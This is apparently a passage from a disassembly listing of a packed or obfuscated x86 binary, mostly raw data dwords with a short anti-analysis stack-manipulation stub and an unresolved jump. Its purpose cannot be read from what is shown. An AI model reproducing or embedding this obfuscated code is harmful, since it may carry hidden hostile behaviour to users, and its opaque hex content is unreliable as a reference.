0BC61AE83h dd 1CC9986Eh, 4A7D67FDh, 0DE1D2BE2h, 2E66FE4Bh, 5F5B2E1Bh dd 0D0DE5177h, 19B1FE2Bh, 65917562h, 4B195A79h, 80370513h dd 6AA28F72h, 1120DFC1h, 0FD42B7Bh, 0AD341C40h, 0FC49AF17h dd 79B35D3Bh, 489E4C5Ah, 952B06F9h, 0C077BA45h, 96E34EB2h dd 82974EFEh, 40BFA14Ah, 0E0D0A4F1h, 23C43B0Ah, 710956DBh dd 0A2EF3AC1h, 0D8EDA40Ah, 79B407EBh, 89C18F5Ah, 1CC16B97h dd 0EF01409Bh, 55A604D2h, 0DEF220D4h, 8F2698D0h, 0CF000001h dd 58A93EC1h, 2A3B73D9h, 0DA91FB2Ch, 0D3F4D8C5h, 0AE7C5491h dd 0F766376h, 0F5176F9h, 0C52BEEF7h, 7A818F78h, 10A47C61h dd 57BD1B9Fh, 45EC131Fh, 91A05FAFh, 0AF34CCDAh, 4886E4F6h dd 0EC248A51h, 499E6143h, 61D031B6h, 0B0167C14h, 0B5648163h dd 0B67B8668h, 996FCB69h, 0BEF7CEC6h, 57BD529Fh, 2037C5B5h dd 90BC52DFh, 409B59E6h, 79C7h, 0B1BF7200h, 0FC94E150h dd 0D3745845h, 2EFC5491h, 0B63850F6h, 0D3FE12FFh, 38065491h dd 0A48D7381h, 0C8DAC36Ch, 20F84004h, 8E722225h, 86BE56A3h dd 92A5B79Bh, 0CCDA8554h, 16AEFB2Eh, 0DBCC1ADEh, 788A41B7h dd 0FA8255F2h, 3421D862h, 54926850h, 0BFD20AD8h, 0CB5E9CAAh dd 0C3AEE67Eh, 549268AFh, 0FC53E9B7h, 0E9CF0CEEh, 49559D12h dd 0E2C41177h, 75AD131Eh, 0A5A7h, 0B1BF0A00h, 0C8699649h dd 53842A62h, 9E2032E9h, 88656E4Bh, 86F7419h, 248A3448h dd 95ECD9ECh, 1051779Eh, 0F931F802h, 0C047CFEBh, 0A634734h dd 1DEB5A79h, 0D937FB69h, 0BB442673h, 6F90E076h, 4BB475C2h dd 0C25A7994h, 5A68C614h, 0A8408DA4h, 0D92603F8h, 2FD0941h dd 2D42992Fh, 79945C40h, 0DE16E45Ah, 0E69D0F38h, 0F722C3D1h dd 20B0D4BFh, 0EAB85764h, 0ED44BB9Dh, 0F227BEA0h, 0F722C3A5h dd 21B705AAh, 4D9BE95Ch, 131EE1EFh, 50F62EC6h, 99906B27h dd 6B8F7C33h, 735D51ACh, 1EE0EEA5h, 0F62EC613h, 0FB2CAF04h dd 0C9EDDA91h, 0D1517C5Fh, 2BD4B603h, 60E4C8B5h, 9E6C5A7Fh dd 6116FAE7h, 0D09E5A7Fh, 7B84D46Ah, 4447068h, 22881F4Ah dd 8C9D5D6Bh, 0B4C2AB54h, 3333E74Ah, 633FC331h, 36FAE51Dh dd 0F0728438h, 9B46586Dh, 75BC6BD8h, 562B0F9Eh, 0E5B39287h dd 4413E9ADh, 90E076BBh, 0A683786Fh, 1D0AC159h, 92875639h dd 408DF3C1h, 428FA25Eh, 0AAB94F9Dh, 0F646DC55h, 5F712809h dd 0B6BDF5C9h, 0B35C94A3h, 1E0Fh, 0E05E7000h, 0CB669843h dd 1F32E67Eh, 260BF3D6h, 24DB41D9h, 86F45337h, 0D50DDB92h dd 0C61358C4h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh dd 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h dd 81E38953h, 4C3h, 4BD5500h, 29000000h, 1C875DEBh, 89515C24h dd 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h, 3CC56824h dd 4890000h, 75BE5624h, 5174657Ah, 88F638B9h, 59CE3171h dd 685EF789h, 114Dh, 81242489h, 42404h, 57580000h, 23A1BD55h dd 6C313843h, 8F5D0424h, 70810840h, 4323A108h, 2434FF38h dd 4C48358h, 51243C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch dd 0FFF9EE5Bh, 0B2F11D5Ch, 91ABB884h, 0C50305EDh, 8665E0FFh dd 0EFA723D0h, 0BF7179B4h, 0A64A7427h, 0ADD4A19h, 9E85FD2h dd 0D0000000h, 9C7216h, 64B8538Eh, 58D68B66h, 0ABABDCBEh dd 77C0810Ah, 0B2000074h, 0FCC9338Eh, 600134FFh, 0CE8h dd 0CAC64C00h, 0BBBE3Ah, 5CFEDCB7h, 0CFB70F45h, 9E85258h dd 9A000000h, 54839CE3h, 15D734FFh, 5B615B5Ah, 1FE78166h dd 0FDF38132h, 0BA20F260h, 287174Bh, 0C8D8F381h, 81F857F6h dd 0B1AB6AEBh, 0DE964h, 0A1650000h, 0D94C90EBh, 745243CAh dd 538543B3h, 6860Fh, 0E2810000h, 49A5D318h, 6608048Fh dd 11E9F38Bh, 97000000h, 84999964h, 26A1667Eh, 64423D4Bh dd 34A9B39Ah, 5511E981h, 81660997h, 811C45CAh, 97550DC1h dd 0B890F09h, 0F000000h, 583h, 0D6816600h, 0F9810890h dd 0FFFF8C74h, 0F850Fh, 1BE90000h, 0B5000000h, 8562EBCBh dd 0D89F0BDFh, 3684BF1Ch, 35E95864h, 74FFFFFFh, 0F341793h dd 8D8DA090h, 5ED93F2h, 0C580B960h, 95294105h, 5E715A5h dd 0A98D8961h, 6A05E71Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0D037C357h, 0B3176883h dd 2A158501h, 85C705E7h, 5E72A4Dh, 72E4h, 14659D8Bh, 85C705E7h dd 5E72739h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h dd 448706B9h, 52E52AC5h, 26559BFh, 0B5FF5B01h, 5E72411h dd 11BD9D89h, 0E68105E7h, 13A9AB7h, 179595FFh, 0C38105E7h dd 4D0037BBh, 95FF006Ah, 5E721C1h, 2EEBC08Bh, 29B6C709h dd 85C82480h, 92F5BA0Dh, 0AB3D2A4Dh, 56CA8A47h, 5FCBF993h dd 0D1E88423h, 2CCE7B83h, 92EBDB8Bh, 120D6DD3h, 69DB7146h dd 8D8D2D2Bh, 5ED951Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0A4C35040h, 0DEBF0FE2h, 998D8956h, 5A05E70Ah dd 1AA98D89h, 8B0F05E7h, 1Ah, 10E8h, 5CA2C800h, 6906B3C9h dd 0D29CD68h, 0A334DB96h, 0C3BA6679h, 85C75F45h, 5E72A4Dh dd 65D8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 1BC35343h, 4D18800Dh, 9CFDA8A8h, 3840F95h, 66000000h dd 85C7F08Bh, 5E72739h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 2FC35343h dd 6CBB1A85h, 29B5FFCEh, 8B05E720h, 0E7252DBDh, 9595FF05h dd 6A05E717h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0D6F2C357h, 372F1D9Ah, 0B58B2124h dd 5E7157Dh, 95FF006Ah, 5E721C1h, 0DEBC08Bh, 0D8EB2943h dd 2B9D2798h, 87557CD1h, 3604EB6Dh, 0E92FA723h, 52Bh, 0A036E301h dd 0E97FAA50h, 37CD4C99h, 821819E7h, 0CA60C932h, 0D62548B1h dd 916DBD53h, 47BA0AA0h, 0FB0454EAh, 0B2CBA036h, 7F68E1C5h dd 0FC83695Ah, 73D013EEh, 639D0303h, 740C59BFh, 39C62B3Ch dd 0C83341F8h, 0E248E917h, 0A1801AAh, 0CEE3BF6h, 0A0D83EF3h dd 2CC26794h, 0C10E23DCh, 0FE1BCAD8h, 185ACBB1h, 0A15CA32Ah dd 8F7033Bh, 0FADC29h, 0F62ADC29h, 83AE51E0h, 0CD649DEDh dd 2CD2E037h, 40C1CD05h, 3CC2A4F1h, 0B503A8F5h, 40F11027h dd 8CA55AAAh, 0B648563Fh, 1663CE31h, 33CB187Eh, 7EAB8F7Ch dd 65335492h, 7E63422Dh, 0CA2C5492h, 579F493Ch, 7880457Ch dd 29000000h, 0FC49E01Bh, 0C61B2C64h, 3341F839h, 2DB165CCh dd 12FEE199h, 3AFBA4DCh, 5492B85Ch, 0C10E23DEh, 0C10E1BDFh dd 0A2EFFDEDh, 847A8839h, 90C860ADh, 0A14B3ECCh, 82457C19h dd 1, 0AB34C62Dh, 0C36E904Fh, 3240F75Dh, 812A62CFh, 17CE5B9Fh dd 0A0CCEC05h, 3F77AD55h, 974CB496h, 9DC09CCCh, 0A259BFB9h dd 7BC85194h, 5002ABE3h, 8377CE1Ch, 3FC010A6h, 0BF075CF2h dd 95E24FB1h, 42B9C5FDh, 0D3C5A996h, 7F4D5491h, 0AC546219h dd 0D3634734h, 1DEB5491h, 2F1300B7h, 0B75491D4h, 2608B1E9h dd 8C9E55D4h, 71D7869h, 0A18E45BBh, 54921FBDh, 963F7745h dd 2D04D2C2h, 75C55BCEh, 785AA78Ah, 7D5FAC6Dh, 7F61AE83h dd 0C361AE7Bh, 23C29167h, 0F3F990F6h, 0B6D872E5h, 3BB9457Ch dd 64000000h, 0A7F435C6h, 0ACF920C5h, 2130C6FAh, 69B94FDAh dd 0D2E09792h, 21CA022Fh, 2370C13Fh, 0D386545Ah, 457CFA39h dd 2D1Ah, 35C6C500h, 3CC5A7F4h, 8533A8F5h, 0E1BE077h, 34C62378h dd 8E7A8F5h, 0D15491D4h, 44EE996Fh, 84457CFCh, 71A98876h dd 1FFh, 0B1BFAA00h, 0B294E150h, 427AE049h, 1D6AAF36h dd 0DB23C43Bh, 0BAEBCA08h, 60C66084h, 0BA08ADFAh, 49D0152Ch dd 2E9EC9B3h, 93B78A77h, 713F5177h, 74BD4224h, 0C0718EDEh dd 99D4B273h, 0C6C35A79h, 0FA769FB1h, 3BC206h, 799F8D71h dd 3F23105Ah, 0C75A79A0h, 417947F9h, 0BFD16F7Dh, 0FA12B162h dd 0BE738E72h, 0EB142058h, 276757F8h, 9A0060C2h, 0E64BB404h dd 9F48B799h, 9982CF62h, 796AC8ACh, 1C82505Ah, 53C5A368h dd 80E60EE4h, 996F5F33h, 66FC35CAh, 9B05903Ah, 1357140h dd 0BF1C0000h, 0A18E4AB1h, 5491D3BDh, 0C4117745h, 254EF42Ch dd 0A80FFCB3h, 0A85176F9h, 54AB8DDAh, 8F747DDh, 5FADC29h dd 1B0BDF2Ch, 0A88976CDh, 0D03CE612h, 751D409Bh, 0C6000000h dd 0BE0C4B1h, 956A5A79h, 5B74F9Ch, 2CEEFF37h, 0EEDB92E4h dd 5491D3DAh, 0DEC714E2h, 0D4F8DCC9h, 0B2805491h, 0D4AB8F7Ah dd 0CA355491h, 0C2381A67h, 0F7A51A67h, 85309CE1h, 6DA58477h dd 266A53A9h, 5B57486h, 16CD33F6h, 0EA37F208h, 1A071A52h dd 5491D506h, 2900FB09h, 2206F3DCh, 0AA5491D6h, 303E76DCh dd 0E54BE618h, 14EAF84Fh, 8817E51Dh, 7A000000h, 0DA91FB2Ch dd 6267AEC8h, 0B9DC9099h, 50639BA6h, 772C0C63h, 7BE8C51h dd 10667CF5h, 4F878E45h, 0F63BC4A6h, 42EF1060h, 630A798Bh dd 88C34AFAh, 772E87D4h, 38021Ah, 0C92D9657h, 0F6A45A79h dd 83AE51E0h, 1A8496EDh, 2011EEB9h, 0E3873BD3h, 3A9E113h dd 0C4B168D0h, 57642B16h, 927BC896h, 78657B84h, 60674C94h dd 0B0E84E1Ch, 89D65BA4h, 574096E4h, 1805BC2Ch, 5D51C06Ah dd 5515CEEAh, 7AF558E9h, 2C297E14h, 0CCDA91FBh, 15ADFA2Fh dd 2FDDCADDh, 0AF517C47h, 8182AE1h, 0ED75FC80h, 4A40BA09h dd 359B17B9h, 81B96085h, 2809F6D8h, 74BD4292h, 0DC16ABBDh dd 0EFA5EDE6h, 0C64D0EB7h, 0C884C8BCh, 0C8AAF732h, 0CAAF732h dd 0A3075AB0h, 0F6A25331h, 37BA3AA0h, 13966325h, 2961F263h dd 3FC09765h, 0F30C5CF2h, 0AA75873Eh, 8EA35EC3h, 1FF5A941h dd 5C053D24h, 465D867Ah, 90A36A9h, 0F095E248h, 0E1F654A2h dd 0CAD210F4h, 92CA9884h, 8D6E7986h, 50A0369Ch, 913582AFh dd 0Dh, 0FC1158F4h, 91D42B0Fh, 0ADE5B354h, 0FB1EC69Ch dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h dd 32ED2B4h, 811D4B6h, 821D9BBh, 89566FBBh, 0B1B951E6h dd 810E096Bh, 0B9596FE9h, 89C18175h, 8179FA34h, 0B5B939C1h dd 59CE01EDh, 8704EE83h, 685C2434h, 311Bh, 52240489h, 0C281E289h dd 4, 4EA81h, 14870000h, 0C895C24h, 0BEBB5324h, 0F70AFF11h dd 86F381DBh, 817B4832h, 1976D1F3h, 2EBD5531h, 31BABC3Fh dd 0D8895DEBh, 4EC815Bh, 89000000h, 4812424h, 424h, 51525900h dd 0CA89C189h, 8518959h, 2434FF5Ah, 4C48159h, 0FF000000h dd 81582434h, 4C4h, 0E62DE900h, 9002FFF9h, 0B8DC47DDh dd 5ED99C9h, 0E0FFC503h, 5AEA97D5h, 26B9CD55h, 7B287E66h dd 2010258Eh, 6B83FAD9h, 674E5074h, 7D84A5B0h, 4AE7E3AAh dd 5E8706F1h, 41BB4D21h, 57511EDh, 520A54B4h, 1705C91Ch dd 522B7E73h, 74B2092h, 78E644EBh, 62CE716Bh, 26A63Ch dd 2400C1ACh, 1E557DC0h, 49E05128h, 5769C273h, 1F176CDEh dd 3AEEEEFDh, 2BE5B2A2h, 418DA07Fh, 61E5F3A5h, 42C7AFA7h dd 6CE7FF31h, 1E5ECEE2h, 67F0D92h, 4A30EB44h, 9BA88D8Dh dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0F2588EC3h, 959D0B4Dh, 0F905E721h, 1AA98D89h dd 0B58B05E7h, 5E71521h, 2A4D85C7h, 66E805E7h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0AA398AC3h, 908CC0B0h, 273985C7h, 5E7h, 858B0000h, 5E72F51h dd 0D6A627BEh, 95B5FF45h, 3105E705h, 0E70435B5h, 9595FF05h dd 6A05E717h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 6295C352h, 0F25E4C3Fh, 2459BD23h dd 6A05E7h, 21C195FFh, 0C08B05E7h, 0C7DF4FEBh, 3DCADBBCh dd 0DF45450Bh, 54CDD5CBh, 7899A551h, 0B4FE0463h, 462A6C97h dd 6EBA3CD9h, 0B5B91CDAh, 13FA1377h, 65CBCFCFh, 54D9AE12h dd 0AAC5C48Dh, 6196E3B4h, 0C157DE0Dh, 3EF8DC99h, 2449461Ah dd 0CDEAAF03h, 58B5E0A3h, 7E8AC303h, 8E82Ch, 0CBE50000h dd 0AB312E3Bh, 0EE9639Bh, 68000000h, 96EF108Dh, 0EB2FC195h dd 5246F5B6h, 56B65E19h, 6220C681h, 0E18A0000h, 0F88AFF2Bh dd 33734FFh, 0E714659Dh, 0D2815905h, 41454A84h, 171BE981h dd 10E9451Ah, 73000000h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h dd 818D10FBh, 359F3C1h, 6DF28166h, 811AEEC3h, 0A60331C1h dd 5D85893Dh, 5105E703h, 2BFD958Bh, 48F05E7h, 13E93Eh dd 3EA10000h, 0A8EE9A81h, 5EC837B3h, 94DB3696h, 6393804Eh dd 0B70F53B1h, 0EF8358C6h, 81958B02h, 4F05E72Ah, 18860F4Fh dd 0E9000000h, 13h, 0D4059A4h, 13607AC7h, 94C0E80Dh, 35F6125Dh dd 81D54C4Ch, 0FF9EA8FFh, 61850FFFh, 0FFFFFFFh, 14E8C6BFh dd 0F2000000h, 377088DAh, 757CF1FFh, 366B1573h, 0E3E68226h dd 526AD008h, 5859DA8Ah, 11E8h, 449CD600h, 0FFE08D38h dd 114E8720h, 567683B6h, 81567A77h, 25363F7h, 81595B09h dd 5BDFC0h, 0C5BD8B00h, 0BA05E721h, 60F9C54Dh, 5177C281h dd 81669F06h, 8BAC45DBh, 0BD858930h, 8105E723h, 0BE1391EEh dd 7DBD8B71h, 8105E724h, 9DEFA3F6h, 13E85059h, 0AF000000h dd 9E73687Fh, 1BF1A4C6h, 208144D3h, 0E958EBA9h, 6160AFD4h dd 0C6815F59h, 22986C4h, 8156EC8Ah, 8EBDF9CBh, 0E8008F23h dd 8, 8487C613h, 0BD10CB5Ch, 835BCE8Bh, 0E95304E8h, 0Fh dd 48C30946h, 4FB320ABh, 0BC7E9A31h, 5F4FECA0h, 1EA81h dd 850F0000h, 0FFFFFF83h, 4EB0CB7h, 1829966Dh, 4CBE9h dd 0AB6E7600h, 0F435C515h, 42D70E5Eh, 8DA45CACh, 0D554A7F7h dd 9ABD263Fh, 0E232C861h, 2F7F151Ch, 79C95FD2h, 4015AB86h dd 70563A27h, 0F8DE5A7Fh, 0F839C673h, 16B0C2ABh, 12F6E3E7h dd 9A5491E4h, 0F10718CCh, 0C62C05FBh, 0DA3E220Fh, 0F8C65491h dd 0E247B4C0h, 4CDD1D2Bh, 2DD22214h, 0C0CEB704h, 0AAB6EE3Bh dd 1725DC55h, 66FE4BCEh, 57A3852Eh, 0F4061BD2h, 0CEB06ADCh dd 997D0CFEh, 215491DCh, 0C0721B53h, 0CEE07E8Ch, 5ED26022h dd 0BC87CABh, 1644FBDEh, 0BD424E86h, 50AFBD74h, 67B7A9E1h dd 0B101979Ah, 0B294E150h, 0F398E54Ch, 26B24856h, 92B45539h dd 0A90FDD54h, 0C88CC45Ch, 53DE2332h, 9F926DBDh, 0B4B29152h dd 0CA7B5492h, 0B4E4C8B5h, 9E6C5492h, 2154A266h, 457C1D77h dd 5C58h, 8F30100h, 43CD421h, 50B1BFF3h, 61C76A97h, 4FE21D29h dd 0D3634102h, 0CA2C5491h, 0FF0C1E3Ch, 0E6978FD6h, 38F905B5h dd 331B53EBh, 457CED89h, 16Ah, 34C61500h, 34C6A8F5h, 3AC6A8F5h dd 90DD54ADh, 934592F8h, 2A0EFB10h, 0B25491D4h, 12E8ACE4h dd 0DC72B743h, 28BE738Ch, 0F435C6D3h, 6D6B2B3Dh, 6D472B18h dd 1CF5492h, 0D32FF14Dh, 0EA10F29Bh, 0F010F23Fh, 759F81F3h dd 0EA509472h, 0EE43BB9Dh, 0FDDCDA1h, 1AF0E082h, 0B62FB04Bh dd 1067FD63h, 0FA32FF02h, 2BD611EEh, 6A53A006h, 36846855h dd 3E0C5492h, 2EEBFA06h, 0C41218E1h, 7C99F791h, 44D845h dd 0C6830000h, 0C5A7F435h, 0FAACF920h, 0DA2130C6h, 9269B94Fh dd 98684A97h, 2E834C99h, 1A52DF20h, 3BD58056h, 1C457CFAh dd 3Ah, 0F435C6C7h, 0F53CC5A7h, 243633A8h, 3992C7E2h, 1FE31BF3h dd 0A8817AC9h, 34C6BD12h, 8E7A8F5h, 0D15491D4h, 0EE6D0E20h dd 3A9C1821h, 0BDA83E02h, 457C9713h, 1F4h, 1FC69F00h, 0B6C4ADFAh dd 0A2AEE64Bh, 0A587D45Dh, 0A688D55Ch, 0B488D554h, 0F66936C4h dd 0E20352A8h, 8CB7A137h, 4250651Ch, 8C2471B8h, 0FC966954h dd 21E5176h, 2BBB17CBh, 76C32963h, 30C66B94h, 0C5121FE0h dd 79682604h, 9167155Ah, 0DD54ADBBh, 0CB6699A5h, 2FD0DE35h dd 41BECA02h, 87D455A6h, 0C4D289EFh, 15BEF63Bh, 1865CC33h dd 0AF865444h, 1F4BE150h, 409B6875h, 13756h, 0FB2C0100h dd 38FE4443h, 0A2088FCAh, 1DC4D6EBh, 632EF1B8h, 0A209F42Ch dd 0A251778Dh, 0EB0F1DD4h, 941C00EDh, 0D6A45A79h, 538B2370h dd 0FA37C8AAh, 46EB1464h, 0FFE817F9h, 7FCC32FFh, 162DBBABh dd 86B248E9h, 409B3CDCh, 3FF20E1Ch, 0B0225AF2h, 54h, 92E42C5Bh dd 0D3DAEEDBh, 0CAE25491h, 4895FB36h, 91D4A387h, 0B4C67154h dd 0C0D53121h, 6CA023Bh, 0B54C5AF0h, 984D2F7Ch, 3DE31B81h dd 0DAECA315h, 2066E596h, 0D7EA2231h, 0E64BB4C2h, 99AFC3AEh dd 0E9B75492h, 46352032h, 5D9B7FC9h, 91213325h, 84000000h dd 5340FB2Ch, 5491D36Fh, 0E02DECF9h, 62C89648h, 0DB67BEABh dd 19E75176h, 1C15EACCh, 68C93686h, 0DDF15A1Bh, 0EAFB5A78h dd 0E500E22Fh, 9F4FE734h, 0AD81CE5Bh, 0E9182FBDh, 0FD63FB48h dd 67FE0CBAh, 0AC039998h, 4291B19Ah, 79397155h, 772BF95Ah dd 3B736251h, 43FA6295h, 63E41556h, 707E9D57h, 2E12A190h dd 0B1606706h, 6705E0C4h, 0E89A6860h, 8567B41Ah, 0C56AB77Ah dd 8F161628h, 79375BE6h, 3E6F7D41h, 0FFECA315h, 5D520FBEh dd 8DE27846h, 0B447FB2Ch, 6B580F75h, 517C4F2Ah, 0C7AB98ADh dd 4F5A7F70h, 6D3B4981h, 94253720h, 0EA9D68B9h, 847B87BFh dd 12E8F6ADh, 0FA32CA17h, 0EA47B808h, 0B29FB49Dh, 5A7EF0CEh dd 0D88AA758h, 98E7D20Ah, 4A4F4305h, 5C6AC016h, 20DE8EA3h dd 32CDD911h, 0E61969FFh, 15FE4Bh, 43262F13h, 0B1E9B778h dd 89D65BA5h, 0F14096E4h, 3D8D230Eh, 39226FC2h, 5484A027h dd 0B435601h, 33Dh, 1358A000h, 0AEFB1EC6h, 0B1FE33CCh dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h dd 0BB0811D4h, 0BB0821D9h, 0E689566Fh, 4C681h, 0BD550000h dd 4, 875DEE29h, 685C2434h, 1CD2h, 68241C89h, 76F8h, 68243C89h dd 670Ah, 0BE243489h, 317F7007h, 2DA9C681h, 0F389D46Eh dd 3C8B545Eh, 4C48124h, 52000000h, 57895A53h, 3C8B5A08h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_546C33 ; --------------------------------------------------------------------------- db 0B0h dd 5C374A2h, 0EDA204B8h, 0FFC50305h, 0BFB59E0h, 0D812566h dd 3067EF1Dh, 3D339521h, 0A0885027h, 7D476E0Ch, 4A539009h dd 94608904h, 0C143777Fh, 5589B77Eh, 9433CD4Ch, 0A6AE2E0Fh dd 1B90934Bh, 67E3F170h, 6C4A865h, 796D5C5Ch, 6F824F68h dd 0EDA66057h, 0D8C79E21h, 0DB86D515h, 0B83AA201h, 6838E778h dd 4E931D4Ch, 0A3EA9A77h, 0FAD51239h, 0D8123D48h, 4BD30303h dd 0EFB4D66Ah, 5052A92Ch, 0F5A5311Dh, 0D58D8D26h, 8005EDA3h dd 8B669EDBh, 0A98D89C1h, 6A05E71Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 2644C357h dd 319F5A30h, 0E72E5995h, 0C7D88B05h, 0E72A4D85h, 719C05h dd 199D3100h, 0C705E700h, 0E7273985h, 5, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F1B5C34h, 685h, 0F1BD3100h, 0FF05E703h, 0E7015DB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 63C3EA2Dh, 816679A1h, 0FF18BFDBh, 0E7179595h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 216A6840h, 6A5C0F30h, 0C195FF00h, 8B05E721h dd 3A78EBC0h, 0DA58E6E9h, 9764C566h, 8A21041Ch, 212B184h dd 83067DCCh, 3A2CEF86h, 9425FC00h, 0E5A94220h, 41C7EAC9h dd 0D20EEF58h, 0D527205Fh, 0C3406FC1h, 360B78F1h, 4E1AB606h dd 224AD4EEh, 504AB207h, 3343A1CDh, 1242AB92h, 4EDE12B5h dd 7285176Ah, 46E32429h, 0A80216A0h, 0C5B98C77h, 0DAE12B8Dh dd 5FBBCB65h, 31D63B53h, 33868F63h, 5AE1AB87h, 0A642B736h dd 0E866E4C4h, 6, 0B2A0C26Bh, 0D08BA1DDh, 0E1BD895Bh, 8105E70Ah dd 631DC3h, 128F0F00h, 0E9000000h, 0Dh, 5D00E151h, 0B9660666h dd 0AB5D4F0Fh, 0AF62BF27h, 0EF8152FCh, 52FC96BFh, 0E933FFFCh dd 13h, 0BBAAF24Fh, 0F1BED05Ch, 0B5EB44EDh, 1E34E871h dd 58ED6DB3h, 1B75BD89h, 0E88105E7h, 20956288h, 1479952Bh dd 0E88105E7h, 5AFABA6Bh, 136D9529h, 0C08105E7h, 6D84E17Bh dd 0C88B6650h, 0B589038Fh, 5E70A01h, 8304EB83h, 850F01EFh dd 0FFFFFFA9h, 0C6C68166h, 6E856h, 0B76E0000h, 897225EAh dd 5BF18B66h, 0B35B58Bh, 0C38105E7h, 6102h, 12E9h, 0B1668E00h dd 935790DCh, 38FA16E8h, 0EB316E73h, 68A00700h, 0 dd 0BD5858Bh, 805A05E7h, 3C8B6BE5h, 0DAC88013h, 7361F781h dd 81FC52CFh, 675CE0F7h, 0BDB58B19h, 8105E701h, 855A83EFh dd 918D8B06h, 5705E70Eh, 13048FF9h, 68A0Fh, 0B5290000h dd 5E7197Dh, 314FCE81h, 0EA811F83h, 184AECE3h, 1FDDB529h dd 0C28105E7h, 184AECDFh, 99F08166h, 0B8FA8199h, 0FFFFF9Fh dd 1385h, 1DE9F500h, 0B9000000h, 11F86549h, 0CE0B5038h dd 0EE1CA13Ch, 0FF88E9F5h, 6460FFFFh, 53FFC980h, 3A64E25Bh dd 89A07582h, 78146908h, 7B8DA6DCh, 8635C243h, 8635A12Eh dd 13D92590h, 5302548h, 611D2899h, 23F2517h, 86302581h dd 0AD499807h, 893020A5h, 86305EA5h, 23B5E390h, 0C835C27Ah dd 863021CCh, 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh dd 8B85DA79h, 0B35C2BDh, 6C4D84CDh, 0DE0DA21h, 23B5E3E2h dd 0C835C23Bh, 0A9CFC4ECh, 0A204A4A7h, 0CB5D0D80h, 0AD49906Fh dd 3BD20AFh, 83DA5885h, 7EBBF5EDh, 863035B0h, 8638CC84h dd 89962542h, 86302BA4h, 4F3B6C90h, 79C0A047h, 8BD9DADBh dd 0B302512h, 617D0194h, 86359D81h, 65CF2542h, 239F98ACh dd 0BBD207Dh, 83DD833Dh, 0B615379Ch, 47FF0E94h, 89A07582h dd 78146908h, 7B8DA6DCh, 8635C243h, 8635A12Eh, 13D92590h dd 5302548h, 0E9832899h, 0B9A4F305h, 22h, 0CE8h, 77F3400h dd 426A6B49h, 0CBAF4A1Bh, 0F2BF0F05h, 0E595895Bh, 8105E721h dd 6964C3h, 0B8F88B00h, 4A0E9520h, 7AF4E881h, 95894A0Eh dd 5E72E35h, 5E9138Bh, 0AC000000h, 1E462994h, 3881F281h dd 0B58B5E71h, 5E721A1h, 5844F281h, 0B58B79C6h, 5E72991h dd 0A8FC281h, 8B600F31h, 0E720F995h, 8961F905h, 0CE913h dd 30520000h, 0E86448D6h, 0D3F28EB1h, 0EB81414Dh, 7D433C25h dd 16FDB58Bh, 0C38105E7h, 7D433C21h, 69C4B966h, 1E881h dd 850F0000h, 10h, 1BB5B58Bh, 16E905E7h, 4B000000h, 0CB27A6F7h dd 81E9FE8Bh, 7FFFFFFh, 0EBEFDB3Fh, 0C649CF6h, 7E82Ah dd 0A9C90000h, 51C64572h, 68E0F07h, 8B000000h, 0E725DD95h dd 9D2B5E05h, 5E72F45h, 5A3EC681h, 800F0000h, 0Dh, 41BD8B60h dd 0BF05E71Dh, 6D34B7B9h, 8F80B861h, 0C0816AD0h, 952F86E4h dd 1B498D31h, 36FF05E7h, 13E9h, 9A2E8200h, 44357E45h, 0A24008F3h dd 7DB86224h, 0F86F09DAh, 81D98B5Fh, 8D6CB3F7h, 0D08B6661h dd 0C3B1C781h, 9D895641h, 5E71609h, 0CB67F781h, 85B330F4h dd 8FCB8B57h, 8E906h, 5B0C0000h, 0E23CE1B5h, 0EE83C22Fh dd 9AB96601h, 4E4E4E9Bh, 2E358589h, 0E88105E7h, 1, 0FF98850Fh dd 0BD89FFFFh, 5E71539h, 0A9098D8Dh, 6A05EDh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0B21E25C3h dd 8950573Bh, 0E717E1BDh, 8F0F5E05h, 16h, 0AE8h, 4694A00h dd 6F21A31Ch, 8971D720h, 0E729098Dh, 8D895F05h, 5E71AA9h dd 85C757B0h, 5E72A4Dh, 5B88h, 273985C7h, 5E7h, 850F0000h dd 19h, 14E9h, 24EB3500h, 12C07615h, 5F16F73Bh, 0FCCF484h dd 18A160B8h, 55B5FFB4h, 6A05E715h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E937C352h dd 0Fh, 1C8A2970h, 0AB0B1B89h, 99D95D05h, 0FF5FE744h, 0E7179595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0F94835Ch, 889h, 0BD8B6000h, 5E71541h, 0B1BD8961h dd 6A05E721h, 0C195FF00h, 8B05E721h, 7D1CEBC0h, 923BCFBFh dd 135FD03h, 9D2D9295h, 573ABD29h, 